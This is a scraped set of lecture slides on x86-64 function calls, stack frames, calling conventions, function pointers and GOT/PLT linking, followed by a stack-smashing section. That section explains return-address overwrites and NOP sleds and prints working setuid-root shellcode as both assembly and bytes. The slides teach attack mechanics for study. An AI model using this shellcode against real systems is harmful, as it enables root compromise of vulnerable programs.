Procedures Functions Functions Recall Two ways to change






























![Function arguments beyond 6 call_foo() { long a[16]; foo(a[0], a[1], a[2], a[3], a[4], a[5], Function arguments beyond 6 call_foo() { long a[16]; foo(a[0], a[1], a[2], a[3], a[4], a[5],](https://slidetodoc.com/presentation_image/299047013aeaeba311adc4430743da92/image-31.jpg)

![Local variables call_foo() { long a[16]; foo(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], Local variables call_foo() { long a[16]; foo(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7],](https://slidetodoc.com/presentation_image/299047013aeaeba311adc4430743da92/image-33.jpg)














![Optimizations: Explain the jump long scount = 0; /* Swap a[i] & a[i+1] */ Optimizations: Explain the jump long scount = 0; /* Swap a[i] & a[i+1] */](https://slidetodoc.com/presentation_image/299047013aeaeba311adc4430743da92/image-48.jpg)









![Data segment Global offset table (GOT) GOT[0]: GOT[1]: GOT[2]: GOT[3]: GOT[4]: GOT[5]: addr of. Data segment Global offset table (GOT) GOT[0]: GOT[1]: GOT[2]: GOT[3]: GOT[4]: GOT[5]: addr of.](https://slidetodoc.com/presentation_image/299047013aeaeba311adc4430743da92/image-58.jpg)




![Simple program void function(){ long x = 0; char buffer[8]; memcpy(buffer, “abcdefg”, 8); printf( Simple program void function(){ long x = 0; char buffer[8]; memcpy(buffer, “abcdefg”, 8); printf(](https://slidetodoc.com/presentation_image/299047013aeaeba311adc4430743da92/image-63.jpg)
![Simple program void function(){ long x = 0; char buffer[8]; memcpy(buffer, “abcdefg”, 8); printf( Simple program void function(){ long x = 0; char buffer[8]; memcpy(buffer, “abcdefg”, 8); printf(](https://slidetodoc.com/presentation_image/299047013aeaeba311adc4430743da92/image-64.jpg)
![Simple program 2 void function(){ long x = 0; char buffer[8]; memcpy(buffer, “abcdefghijk”, 12); Simple program 2 void function(){ long x = 0; char buffer[8]; memcpy(buffer, “abcdefghijk”, 12);](https://slidetodoc.com/presentation_image/299047013aeaeba311adc4430743da92/image-65.jpg)
![Simple program 2 void function(){ long x = 0; char buffer[8]; memcpy(buffer, “abcdefghijk”, 12); Simple program 2 void function(){ long x = 0; char buffer[8]; memcpy(buffer, “abcdefghijk”, 12);](https://slidetodoc.com/presentation_image/299047013aeaeba311adc4430743da92/image-66.jpg)

![Buffer Overflow void function(){ char buffer[8]; return; } Return statement in C 1) Cleans Buffer Overflow void function(){ char buffer[8]; return; } Return statement in C 1) Cleans](https://slidetodoc.com/presentation_image/299047013aeaeba311adc4430743da92/image-68.jpg)

![New diagram Stack grows high to low Buffer[0. . 256] [stuff] Buffer Overflow (Injected New diagram Stack grows high to low Buffer[0. . 256] [stuff] Buffer Overflow (Injected](https://slidetodoc.com/presentation_image/299047013aeaeba311adc4430743da92/image-70.jpg)
![Buffer Overflow (Idealized) Stack grows high to low Buffer[0. . 256] Malicious code [stuff] Buffer Overflow (Idealized) Stack grows high to low Buffer[0. . 256] Malicious code [stuff]](https://slidetodoc.com/presentation_image/299047013aeaeba311adc4430743da92/image-71.jpg)
![Buffer Overflow Stack grows high to low Buffer[0. . 256] [stuff] Malicious code Return Buffer Overflow Stack grows high to low Buffer[0. . 256] [stuff] Malicious code Return](https://slidetodoc.com/presentation_image/299047013aeaeba311adc4430743da92/image-72.jpg)
![Buffer Overflow Stack grows high to low Buffer[0. . 256] [stuff] Malicious code Return Buffer Overflow Stack grows high to low Buffer[0. . 256] [stuff] Malicious code Return](https://slidetodoc.com/presentation_image/299047013aeaeba311adc4430743da92/image-73.jpg)
![Insertion address How to find the insertion address? int main( char *argc, char *argv[] Insertion address How to find the insertion address? int main( char *argc, char *argv[]](https://slidetodoc.com/presentation_image/299047013aeaeba311adc4430743da92/image-74.jpg)



![Buffer Overflow Stack grows high to low Buffer[0. . 256] NOP Sled [stuff] Malicious Buffer Overflow Stack grows high to low Buffer[0. . 256] NOP Sled [stuff] Malicious](https://slidetodoc.com/presentation_image/299047013aeaeba311adc4430743da92/image-78.jpg)

![Spawning root shells In C setuid( 0 ) execve( “/bin/sh”, *args[], *env[] ); For Spawning root shells In C setuid( 0 ) execve( “/bin/sh”, *args[], *env[] ); For](https://slidetodoc.com/presentation_image/299047013aeaeba311adc4430743da92/image-80.jpg)


![Armed with shellcode now Stack grows high to low Buffer[0. . 256] NOP Sled Armed with shellcode now Stack grows high to low Buffer[0. . 256] NOP Sled](https://slidetodoc.com/presentation_image/299047013aeaeba311adc4430743da92/image-83.jpg)





![Buffer Overflow Stack Example #1 After call to gets void echo() { char buf[4]; Buffer Overflow Stack Example #1 After call to gets void echo() { char buf[4];](https://slidetodoc.com/presentation_image/299047013aeaeba311adc4430743da92/image-89.jpg)






![Practice problem List three problems with the following code char *getline() { char buf[8]; Practice problem List three problems with the following code char *getline() { char buf[8];](https://slidetodoc.com/presentation_image/299047013aeaeba311adc4430743da92/image-96.jpg)

















![C pointer declarations int *p p is a pointer to int *p[13] p is C pointer declarations int *p p is a pointer to int *p[13] p is](https://slidetodoc.com/presentation_image/299047013aeaeba311adc4430743da92/image-114.jpg)

![C pointer declarations Read from the “inside” out. int (*(*f())[13])() f is a function C pointer declarations Read from the “inside” out. int (*(*f())[13])() f is a function](https://slidetodoc.com/presentation_image/299047013aeaeba311adc4430743da92/image-116.jpg)



- Slides: 119
Procedures (Functions)
Functions Recall: Two ways to change program control flow Jumps (unconditional, conditional) Calls (functions) Function A unit of code we can call Similar to a jump, except it can return Must support passing data as function arguments and return values Also referred to as a procedure, method, or subroutine Before we continue, we first have to understand how a stack works… – 2–
x 86 -64 stack Stack “Bottom” Region of memory managed with last-in, first-out discipline Grows toward lower addresses Register %rsp indicates top element of stack Increasing Addresses Top element has lowest address The stack is essential for function calls Stack Pointer %rsp Stack Grows Down Stack “Top” – 3–
Stack Pushing Stack “Bottom” Pushing pushq Src Fetch operand at Src Decrement %rsp by 8 Write operand at address given by %rsp Increasing Addresses e. g. pushq %rax subq $8, %rsp movq %rax, (%rsp) Stack Pointer %rsp -8 Stack Grows Down Stack “Top” – 4–
Stack Popping Stack “Bottom” Popping popq Dest Read operand at address given by %rsp Increasing Addresses Write to Dest Increment %rsp by 8 e. g. popq %rax movq (%rsp), %rax addq $8, %rsp Stack Pointer %rsp +8 Stack Grows Down Stack “Top” – 5–
Stack Operation Examples Initially pushq %rax popq %rdx 0 x 118 0 x 110 0 x 108 123 0 x 100 Top 0 x 100 213 Top – 6– Top %rax 213 %rdx 555 213 %rsp 0 x 108 0 x 100 %rsp 0 x 100 0 x 108
Control Flow terminology When foo calls who: foo is the caller, who is the callee Control is transferred to the ‘callee’ When function returns Control is transferred back to the ‘caller’ Last-called, first-return (LIFO) order naturally implemented via stack foo(…) { • • • who(); • • • } – 7– call who(…) { • • • am. I(); • • • ret } call am. I(…) { • • • ret • • • }
Control Flow The hardware provides machine instructions for this: Function call label Push return address on stack (address of next instruction after the call) Jump to label Function return ret Pop return address from stack Jump to address – 8–
Control Flow Example #1 00000400540 <multstore>: • • 400544: callq 400550 <mult 2> 400549: mov %rax, (%rbx) • • 0 x 130 0 x 128 0 x 120 %rsp 0 x 120 %rip 0 x 400544 00000400550 <mult 2>: 400550: mov %rdi, %rax • • 400557: retq – 9–
Control Flow Example #2 00000400540 <multstore>: • • 400544: callq 400550 <mult 2> 400549: mov %rax, (%rbx) • • 0 x 130 0 x 128 0 x 120 0 x 118 0 x 400549 %rsp 0 x 118 %rip 0 x 400550 00000400550 <mult 2>: 400550: mov %rdi, %rax • • 400557: retq – 10 –
Control Flow Example #3 00000400540 <multstore>: • • 400544: callq 400550 <mult 2> 400549: mov %rax, (%rbx) • • 0 x 130 0 x 128 0 x 120 0 x 118 0 x 400549 %rsp 0 x 118 %rip 0 x 400557 00000400550 <mult 2>: 400550: mov %rdi, %rax • • 400557: retq – 11 –
Control Flow Example #4 00000400540 <multstore>: • • 400544: callq 400550 <mult 2> 400549: mov %rax, (%rbx) • • 0 x 130 0 x 128 0 x 120 %rsp 0 x 120 %rip 0 x 400549 00000400550 <mult 2>: 400550: mov %rdi, %rax • • 400557: retq – 12 –
Practice problem What does this code do? call next: popq %rax What is the value of %rax? What would this be useful for? – 13 –
Function calls and stack frames For languages supporting recursion (C, Java), code must be reentrant Must store multiple versions of arguments, local variables, return address Return address Local variables Stack bottom Function arguments (if necessary) foo’s stack Saved register state (if necessary) frame Implemented with stack frames – 14 – Upon function invocation Stack frame created Stack frame pushed onto stack Upon function completion Stack frame popped off stack Caller’s frame recovered who’s stack frame am. I’s stack frame increasing addresses Multiple simultaneous instantiations of a single function stack growth Call chain: foo => who => am. I
Call Chain Example foo(…) { • • who(); • • } Example Call Chain foo who(…) { • • • am. I(); • • • } who am. I(…) { • • am. I(); • • } Procedure am. I() is recursive – 15 – am. I
Example foo(…) { • • who(); • • } Stack foo foo who am. I – 16 – %rbp %rsp am. I
Example foo(…) { who(…) • { • • am. I(); who(); • • • am. I(); • • • } } Stack foo who am. I – 17 – foo %rbp am. I %rsp who
Example foo(…) { who(…) • { am. I(…) • • { am. I(); who(); • • am. I(); • } • } – 18 – Stack foo foo who am. I %rbp am. I %rsp am. I
Example foo(…) { who(…) • { am. I(…) • • { am. I(); who(); • • am. I(); • } • } – 22 – Stack foo foo who am. I %rbp am. I %rsp am. I
Example foo(…) { who(…) • { • • am. I(); who(); • • • am. I(); • • • } } Stack foo who am. I – 23 – foo %rbp am. I %rsp who
Example foo(…) { who(…) • { am. I(…) • • { am. I(); who(); • • am. I(); • } • } – 24 – Stack foo foo who am. I %rbp am. I %rsp am. I
Example foo(…) { who(…) • { • • am. I(); who(); • • • am. I(); • • • } } Stack foo who am. I – 25 – foo %rbp am. I %rsp who
Example foo(…) { • • who(); • • } Stack foo foo who am. I – 26 – %rbp %rsp am. I
x 86 -64/Linux Stack Frame Caller Stack Frame (Pink) Function arguments for callee Only used with 7+ integer arguments Arguments 1 -6 passed in registers Return address Pushed by call instruction Callee Stack Frame (Yellow) (From Top to Bottom) Old frame pointer (optional) Local variables (optional) If can’t keep in registers – 27 – Frame Pointer %rbp (optional) Callee Frame Arguments 7+ Return Addr Old %ebp Saved Registers + Local Variables Saved register context (optional) If certain registers needed Caller Frame Function arguments for next call Stack Pointer %rsp Arguments 7+
x 86 -64/Linux Stack Frame (aside) Compiler can decide to simplify implementation – 28 – Can omit local variables and saved registers for simple functions with few variables Can avoid using pushq and popq to manage frame Can even avoid using the call instruction!
Function arguments Passed in registers typically Overflow onto stack when needed First 6 “integer” arguments %rdi %rsi Arg n %rdx %rcx • • • %r 8 Arg 8 %r 9 Arg 7 Return value %rax – 29 –
swap revisited void swap(long *xp, long *yp) { long t 0 = *xp; long t 1 = *yp; *xp = t 1; *yp = t 0; } swap: movq ret (%rdi), %rdx (%rsi), %rax, (%rdi) %rdx, (%rsi) Function arguments all passed in registers First argument (xp) in %rdi, second argument (yp) in %rsi 64 -bit pointers No stack operations required (except ret) – 30 – Can hold all function arguments and local variables in registers Does not call another function so frame allocation not necessary
Function arguments beyond 6 call_foo() { long a[16]; foo(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8], a[9]); } Given the above C function, identify function arguments being passed to foo – 31 – 00000000 <call_foo>: 0: sub $0 x. A 8, %rsp 7: mov 0 x 68(%rsp), %rax c: mov %rax, 0 x 18(%rsp) 11: mov 0 x 60(%rsp), %rax 16: mov %rax, 0 x 10(%rsp) 1 b: mov 0 x 58(%rsp), %rax 20: mov %rax, 0 x 8(%rsp) 25: mov 0 x 50(%rsp), %rax 2 a: mov %rax, (%rsp) 2 e: mov 0 x 48(%rsp), %r 9 33: mov 0 x 40(%rsp), %r 8 38: mov 0 x 38(%rsp), %rcx 3 d: mov 0 x 30(%rsp), %rdx 42: mov 0 x 28(%rsp), %rsi 47: mov 0 x 20(%rsp), %rdi 4 c: callq <foo> 51: add $0 x. A 8, %rsp 58: retq a[9] a[8] a[7] a[6] a[5] a[4] a[3] a[2] a[1] a[0]
Local variables Held in registers if possible Allocate space on stack if too many (register spilling) Compiler allocates space on stack and updates %rsp How are they preserved if the current function calls another function? Compiler updates %rsp beyond local variables before issuing “call” What happens to them when the current function returns? – 32 – Are lost (i. e. no longer valid)
Local variables call_foo() { long a[16]; foo(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8], a[9]); } 00000000 <call_foo>: 0: sub $0 x. A 8, %rsp 7: mov 0 x 68(%rsp), %rax c: mov %rax, 0 x 18(%rsp) 11: mov 0 x 60(%rsp), %rax 16: mov %rax, 0 x 10(%rsp) 1 b: mov 0 x 58(%rsp), %rax 20: mov %rax, 0 x 8(%rsp) 25: mov 0 x 50(%rsp), %rax 2 a: mov %rax, (%rsp) 2 e: mov 0 x 48(%rsp), %r 9 33: mov 0 x 40(%rsp), %r 8 38: mov 0 x 38(%rsp), %rcx 3 d: mov 0 x 30(%rsp), %rdx 42: mov 0 x 28(%rsp), %rsi 47: mov 0 x 20(%rsp), %rdi 4 c: callq <foo> 51: add $0 x. A 8, %rsp 58: retq – 33 – Makes room for both a[16] and partial argument build for foo.
Scoping issues with local variables Consider int* func(int x) { int n; int *np; n = x; np = &n; return np; } What does np point to after function returns? What happens if np is dereferenced? Local variables are “lost” when function returns – 34 – Address referred to is no longer part of the stack Can be overwritten by other function calls Dereference will return whatever is at location (can be arbitrary) http: //thefengs. com/wuchang/courses/cs 201/class/08/invalid_ref. c
Putting it all together: incr long incr(long *p, long val) { long x = *p; long y = x + val; *p = y; return x; } incr: movq addq movq ret – 35 – (%rdi), %rax, %rsi, (%rdi) Register Use(s) %rdi Argument p %rsi Argument val, y %rax x, Return value
Example: Calling incr #1 Initial Stack Structure long call_incr() { long v 1 = 15213; long v 2 = incr(&v 1, 3000); return v 1+v 2; } call_incr: subq $16, %rsp movq $15213, 8(%rsp) movl $3000, %esi leaq 8(%rsp), %rdi call incr addq 8(%rsp), %rax addq $16, %rsp ret – 36 – . . . Rtn address %rsp Resulting Stack Structure. . . Rtn address 15213 %rsp+8 Unused %rsp
Example: Calling incr #2 long call_incr() { long v 1 = 15213; long v 2 = incr(&v 1, 3000); return v 1+v 2; } call_incr: subq $16, %rsp movq $15213, 8(%rsp) movl $3000, %esi leaq 8(%rsp), %rdi call incr addq 8(%rsp), %rax addq $16, %rsp ret – 37 – Stack Structure. . . Rtn address 15213 %rsp+8 Unused %rsp Register Use(s) %rdi &v 1 %rsi 3000
Example: Calling incr #3 long call_incr() { long v 1 = 15213; long v 2 = incr(&v 1, 3000); return v 1+v 2; } call_incr: subq $16, %rsp movq $15213, 8(%rsp) movl $3000, %esi leaq 8(%rsp), %rdi call incr addq 8(%rsp), %rax addq $16, %rsp ret – 38 – Stack Structure. . . Rtn address 18213 %rsp+8 Unused %rsp Register Use(s) %rdi &v 1 %rsi 3000
Example: Calling incr #4 Stack Structure long call_incr() { long v 1 = 15213; long v 2 = incr(&v 1, 3000); return v 1+v 2; } call_incr: subq $16, %rsp movq $15213, 8(%rsp) movl $3000, %esi leaq 8(%rsp), %rdi call incr addq 8(%rsp), %rax addq $16, %rsp ret . . . Rtn address 18213 %rsp+8 Unused %rsp Register Use(s) %rax Return value Updated Stack Structure. . . Rtn address – 39 – %rsp
Example: Calling incr #5 long call_incr() { long v 1 = 15213; long v 2 = incr(&v 1, 3000); return v 1+v 2; } call_incr: subq $16, %rsp movq $15213, 8(%rsp) movl $3000, %esi leaq 8(%rsp), %rdi call incr addq 8(%rsp), %rax addq $16, %rsp ret – 40 – Updated Stack Structure. . . Rtn address %rsp Register Use(s) %rax Return value Final Stack Structure. . . %rsp
Register Saving Conventions When foo calls who: foo is the caller, who is the callee Can Register be Used for Temporary Storage? Need some coordination between caller and callee on register usage Conventions “Caller Save” Caller saves temporary in its frame before calling “Callee Save” Callee saves temporary in its frame before using Callee restores values before returning – 41 –
x 86 -64 caller-saved registers Can be modified by function %rax Return value %rdi, %rsi, %rdx %rcx, %r 8, %r 9 Function arguments %r 10, %r 11 Arguments Caller-saved temporaries – 42 – %rax %rdi %rsi %rdx %rcx %r 8 %r 9 %r 10 %r 11
x 86 -64 callee-saved registers Callee must save & restore %rbx, %r 12, %r 13, %r 14 %rbp Callee-saved Temporaries May be used as frame pointer %rsp Special form of callee save Restored to original value upon return from function – 43 – Special %rbx %r 12 %r 13 %r 14 %rbp %rsp
x 86 -64 Integer Registers – 44 – %rax Return value %r 8 Argument #5 %rbx Callee saved %r 9 Argument #6 %rcx Argument #4 %r 10 Callee saved %rdx Argument #3 %r 11 Used for linking %rsi Argument #2 %r 12 C: Callee saved %rdi Argument #1 %r 13 Callee saved %rsp Stack pointer %r 14 Callee saved %rbp Callee saved %r 15 Callee saved
Callee-Saved Example #1 Initial Stack Structure long call_incr 2(long x) { long v 1 = 15213; long v 2 = incr(&v 1, 3000); return x+v 2; } call_incr 2: pushq %rbx subq $16, %rsp movq %rdi, %rbx movq $15213, 8(%rsp) movl $3000, %esi leaq 8(%rsp), %rdi call incr addq %rbx, %rax addq $16, %rsp popq %rbx ret – 45 – . . . Rtn address %rsp Resulting Stack Structure. . . Rtn address Saved %rbx 15213 %rsp+8 Unused %rsp
Callee-Saved Example #2 Resulting Stack Structure long call_incr 2(long x) { long v 1 = 15213; long v 2 = incr(&v 1, 3000); return x+v 2; } call_incr 2: pushq %rbx subq $16, %rsp movq %rdi, %rbx movq $15213, 8(%rsp) movl $3000, %esi leaq 8(%rsp), %rdi call incr addq %rbx, %rax addq $16, %rsp popq %rbx ret – 46 – . . . Rtn address Saved %rbx 15213 %rsp+8 Unused %rsp Pre-return Stack Structure. . . Rtn address %rsp
Floating point arguments Recall integer arguments 64 -bit registers used to pass %rdi, %rsi, %rdx, %rcx, %r 8, %r 9 Floating point Special vectored registers to pass (AVX-512) %zmm 0 - %zmm 31 Capacity for a vector of 8 doubles Also used for vectored integer operations (more later) 511 %zmm 0 – 47 – 255 %ymm 0 127 %xmm 0 0
Optimizations: Explain the jump long scount = 0; /* Swap a[i] & a[i+1] */ void swap_ele(long a[], int i) { swap(&a[i], &a[i+1]); } When swap executes ret, it will return from swap_ele Possible since swap is a “tail call” (no instructions afterwards) swap_ele: movslq %esi, %rsi # Integer promotion leaq (%rdi, %rsi, 8), %rdi # &a[i] leaq 8(%rdi), %rsi # &a[i+1] jmp swap # swap() – 48 –
32 -bit calling conventions Linux IA 32 cdecl Caller pushes arguments on stack before call Caller clears arguments off stack after call Win 32 stdcall Caller pushes arguments on stack before call Callee clears arguments off stack before returning from call Saves some instructions since callee is already restoring the stack at the end of the function fastcall Save memory operations by passing arguments in registers Microsoft implementation First two arguments passed in registers %ecx and %edx Code written on Windows must deal with stdcall and fastcall conventions Linux Must declare in function prototype which calling convention is being used http: //gcc. gnu. org/onlinedocs/gcc/Function-Attributes. html – 49 –
32 -bit calling conventions thiscall Used for C++ Linux Same as cdecl, but first argument assumed to be “this” pointer Windows/Visual C++ “this” pointer passed in %ecx Callee cleans the stack when arguments are not variable length Caller cleans the stack when arguments are variable length – 50 –
Function pointers – 51 –
Pointers Central to C (but not other languages) So far, pointers in C provide access to data (via address) Every pointer has a type Every pointer has a value (an address) Pointers created via the “&” operator Dereferenced with the “*” operator But, pointers can also point to code (functions) – 52 –
Function pointers Store and pass references to code Have a type associated with them (the type the function returns) Some uses Dynamic “late-binding” of functions Replace large switch statements for implementing dynamic event handlers » Dynamically set behavior of GUI buttons » Dynamically set a random number generator Emulating “virtual functions” and polymorphism in object-oriented programming languages Implementing callbacks qsort() with user-supplied callback function for comparison » man qsort – 53 –
Function pointers Example declaration in C int (*func)(char *); func is a pointer to a function taking a char * argument, returning an int How is this different from int *func(char *) ? Using a pointer to a function: – 54 – int foo(char *){ }; // foo: function returning an int (*bar)(char *); // bar: pointer to a fn returning an int bar = foo; // Now the pointer is initialized x = bar(p); // Call the function
Function pointers example #include <stdio. h> void print_even(int i){ printf("Even %dn“, i); } void print_odd(int i) { printf("Odd %dn”, i); } int main(int argc, char **argv) { void (*fp)(int); int i = argc; if (argc % 2) fp=print_odd; else fp=print_even; fp(i); } mashimaro %. /funcp a Even 2 mashimaro %. /funcp a b Odd 3 mashimaro % – 55 – main: 40059 b: sub $0 x 8, %rsp 40059 f: test $0 x 1, %dil 4005 a 3: je 4005 ac <main+0 x 11> 4005 a 5: mov $print_even, %eax 4005 aa: jmp 4005 b 1 <main+0 x 16> 4005 ac: mov $print_odd, %eax 4005 b 1: callq *%rax 4005 b 3: add $0 x 8, %rsp 4005 b 7: retq
Dynamic linking via function pointers Code for functions in dynamic, shared libraries – 56 – Loaded at run-time Addresses unknown until program execution Relocation information in binary so loader can “fully link” in memory In theory, done all before program begins execution
In practice Late binding and linking via function pointer table Why link a function that a program does not call? Why link all functions at the beginning? Link upon first invocation of the function by program Two data structures Global Offset Table (GOT) Array for storing addresses of library functions Uninitialized at start of program » Each entry instead points to code that invokes linker (to resolve address upon first invocation of function) Linker then replaces itself with actual function address for subsequent invocations of the function Procedure link table (PLT) Code in. text section that invokes both the linker and the library function being called – 57 –
Data segment Global offset table (GOT) GOT[0]: GOT[1]: GOT[2]: GOT[3]: GOT[4]: GOT[5]: addr of. dynamic addr of reloc entries addr of dynamic linker 0 x 4005 b 6 # sys startup 0 x 4005 c 6 # printf()=>plt 0 x 4005 d 6 # exit()=>plt GOT[0]: GOT[1]: GOT[2]: GOT[3]: GOT[4]: GOT[5]: Code segment 1 callq 0 x 4005 c 0 # call printf() 0 x 4005 d 6 # exit() 4005 a 0: pushq *GOT[1] 4005 a 6: jmpq *GOT[2] … # PLT[2]: call printf() 4005 c 0: jmpq *GOT[4] 4005 c 6: pushq $0 x 1 4005 cb: jmpq 4005 a 0 1 callq 0 x 4005 c 0 # call printf() Procedure linkage table (PLT) # PLT[0]: call dynamic linker 2 &printf() Code segment Procedure linkage table (PLT) 3 addr of. dynamic addr of reloc entries addr of dynamic linker 0 x 4005 b 6 # sys startup # PLT[0]: call dynamic linker 4 To linker 4005 a 0: pushq *GOT[1] 4005 a 6: jmpq *GOT[2] … # PLT[2]: call printf() 2 4005 c 0: jmpq *GOT[4] To printf 4005 c 6: pushq $0 x 1 4005 cb: jmpq 4005 a 0 PLT homework: Corrupt GOT to hijack execution – 58 –
Stack smashing – 59 –
Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22. 5% of security fixes provided by vendors were for buffer overflows 2004: All available exploits: 75% were buffer overflows Examples: Morris worm, Code Red worm, SQL Slammer, Witty worm, Blaster worm Although not common, a useful example to teach from How does it work? How can it be prevented? – 60 –
Recall function calls void function(){ long x = 0; … return; } void main() { function(); // What happens here? } – 61 –
Stack Frame Higher memory address size of a word (e. g. 8 bytes) void function(){ long x = 0; … return; } void main() { function(); } Return address Old base pointer (Saved Frame Pointer) %rbp Lower memory address – 62 – long x %rsp Calling void function() Stack grows high to low
Simple program void function(){ long x = 0; char buffer[8]; memcpy(buffer, “abcdefg”, 8); printf( “%s %ld”, buffer, x ); } Output: size of a word (e. g. 8 bytes) …. Return address Old base pointer (Saved Frame Pointer) long x . . . Buffer[7]. . Buffer[4] Buffer[3]. . Buffer[0] – 63 – Stack grows high to low
Simple program void function(){ long x = 0; char buffer[8]; memcpy(buffer, “abcdefg”, 8); printf( “%s %ld”, buffer, x ); } Output: abcdefg 0 size of a word (e. g. 8 bytes) …. Return address Old base pointer (Saved Frame Pointer) long x 0 x 0000 buffer[7. . 4] gfe buffer[3. . 0] dcba – 64 – Stack grows high to low
Simple program 2 void function(){ long x = 0; char buffer[8]; memcpy(buffer, “abcdefghijk”, 12); printf( “%s %ld”, buffer, x ); } size of a word (e. g. 8 bytes) …. Return address Old base pointer (Saved Frame Pointer) long x Output: . . . Buffer[7]. . Buffer[4] Buffer[3]. . Buffer[0] – 65 – Stack grows high to low
Simple program 2 void function(){ long x = 0; char buffer[8]; memcpy(buffer, “abcdefghijk”, 12); printf( “%s %ld”, buffer, x ); } size of a word (e. g. 8 bytes) …. Return address Old base pointer (Saved Frame Pointer) long x 0 x 000006 b 6 a 69 Output: abcdefghijk 7039593 buffer[7. . 4] hgfe buffer[3. . 0] dcba – 66 – Stack grows high to low
Buffer Overflow size of a word (e. g. 8 bytes) Stack grows high to low Idea: Trick the program into overwriting memory it shouldn’t… Return address What can we do when we mess up the program’s memory? Old base pointer (Saved Frame Pointer) Buffer[7]. . Buffer[4] Buffer[3]. . Buffer[0] – 67 –
Buffer Overflow void function(){ char buffer[8]; return; } Return statement in C 1) Cleans off the function’s stack frame 2) Jump to return address Can use this to set the instruction pointer! size of a word (e. g. 8 bytes) a New Return addr Old base pointer (Saved Frame Pointer) Buffer[7]. . Buffer[4] Buffer[3]. . Buffer[0] – 68 – Stack grows high to low
Buffer Overflow Anatomy of a buffer overflow 1) Inject malicious code into buffer 2) Set the IP to execute it by overwriting return address Stack grows high to low a New Return addr Malicious code – 69 –
New diagram Stack grows high to low Buffer[0. . 256] [stuff] Buffer Overflow (Injected Data) – 70 – Return addr [stuff]
Buffer Overflow (Idealized) Stack grows high to low Buffer[0. . 256] Malicious code [stuff] Return addr [stuff] New Addr Ideally, this is what a buffer overflow attack looks like… Problem #1: Where is the return address located? Have only an approximate idea relative to buffer. – 71 –
Buffer Overflow Stack grows high to low Buffer[0. . 256] [stuff] Malicious code Return addr New Addr [stuff] New Addr Solution – Spam the new address we want to overwrite the return address. So it will overwrite the return address – 72 –
Buffer Overflow Stack grows high to low Buffer[0. . 256] [stuff] Malicious code Return addr New Addr [stuff] New Addr Problem #2: Don’t know where the malicious code starts. (Addresses are absolute, not relative) – 73 –
Insertion address How to find the insertion address? int main( char *argc, char *argv[] ) { char buffer[500]; strcpy( buffer, argv[1] ); return 0; } – 74 –
Insertion address GDB to find the stack pointer or buffer address directly int main( char *argc, char *argv[] ) { char buffer[500]; strcpy( buffer, argv[1] ); return 0; } $ gdb sample (gdb) break main Breakpoint 1 at 0 x 400581 (gdb) run Starting program: sample Breakpoint 1, 0 x 00000400581 in main () (gdb) p $rsp $1 = (void *) 0 x 7 fffffffe 310 (gdb) p &buffer $2 = (struct utmp **) 0 x 7 ffff 7 dd 4 a 38 <buffer> – 75 –
Setting return address What happens with a misset instruction pointer? IP? Malicious code – 76 – xorq %rdi, %rdi mov $0 x 69, %al syscall xorq %rdx, %rdx movq $0 x 68732 f 6 e 69622 fff, %rbx shr $0 x 8, %rbx push %rbx movq %rsp, %rdi xorq %rax, %rax pushq %rdi movq %rsp, %rsi mov $0 x 3 b, %al syscall pushq $0 x 1 pop %rdi pushq $0 x 3 c pop %rax syscall
NOP Sled NOP NOP NOP = Assembly instruction (No Operation) IP? NOP NOP NOP Advance instruction pointer by one, and do nothing else. NOP NOP NOP Create a lot of them and target a region that we know precedes shell code…. Malicious code – 77 – xorq %rdi, %rdi mov $0 x 69, %al syscall xorq %rdx, %rdx movq $0 x 68732 f 6 e 69622 fff, %rbx shr $0 x 8, %rbx push %rbx movq %rsp, %rdi xorq %rax, %rax pushq %rdi movq %rsp, %rsi mov $0 x 3 b, %al syscall pushq $0 x 1 pop %rdi pushq $0 x 3 c pop %rax syscall
Buffer Overflow Stack grows high to low Buffer[0. . 256] NOP Sled [stuff] Malicious code Return addr New Addr The anatomy of a real buffer overflow attack – – 78 – [stuff] New Addr
Malicious code injection We have a means for executing our own code What code should we execute? How do you typically access a machine remotely? Code that allows you an interactive shell Is that enough? Can’t tamper with /etc/passwd Code that gets you at the highest privilege level So, find a vulnerable setuid root program, force it to set its real uid to 0, then execute /bin/sh – 79 –
Spawning root shells In C setuid( 0 ) execve( “/bin/sh”, *args[], *env[] ); For simplicity, args points to [“/bin/sh”, NULL] env points to NULL, which is an empty array [] Note: setreuid and execve are the *system calls* that the equivalent C library calls invoke – 80 – Will want to craft system calls in shell code, not library calls
Some issues to take care of… Must not have *any* NULLs in assembly Terminates vulnerable copy int main( char *argc, char *argv[] ) { char buffer[500]; strcpy( buffer, argv[1] ); return 0; } Must be able to access data deterministically Must find a way to pass a pointer to string “/bin/sh” to execve without any knowledge of addresses of data on target – 81 –
Shellcode example /* setuid(0) + execve(/bin/sh) -> see /usr/include/asm/unistd_64. h main(){ __asm( "xorq %rdi, %rdi" "mov $0 x 69, %al" /* Call setuid with ID=0 */ "syscall“ "xorq %rdx, %rdx" "movq $0 x 68732 f 6 e 69622 fff, %rbx; ” "shr $0 x 8, %rbx; “ /* Create “/bin/sh ” */ "push %rbx; " /* Push onto stack */ "movq %rsp, %rdi; " "xorq %rax, %rax; " /* Then get rdi to point to it */ "pushq %rax; " "pushq %rdi; " "movq %rsp, %rsi; " /* Push null onto stack */ "mov $0 x 3 b, %al; “ "syscall ; " /* Call execve with /bin/sh */ ); } */ main() { char shellcode[] = "x 48x 31xffxb 0x 69x 0 fx 05x 48x 31xd 2x 48xbbxffx 2 fx 62" "x 69x 6 ex 2 fx 73x 68x 48xc 1xebx 08x 53x 48x 89xe 7x 48x 31" "xc 0x 57x 48x 89xe 6xb 0x 3 bx 0 fx 05"; (*(void (*)()) shellcode)(); } – 82 –
Armed with shellcode now Stack grows high to low Buffer[0. . 256] NOP Sled – 83 – [stuff] Shellcode Return addr New Addr [stuff] New Addr
Buffer overflow example Implementation of Unix gets No way to specify limit on number of characters to read /* Get string from stdin */ char *gets(char *dest) { int c = getchar(); char *p = dest; while (c != EOF && c != 'n') { *p++ = c; c = getchar(); } *p = '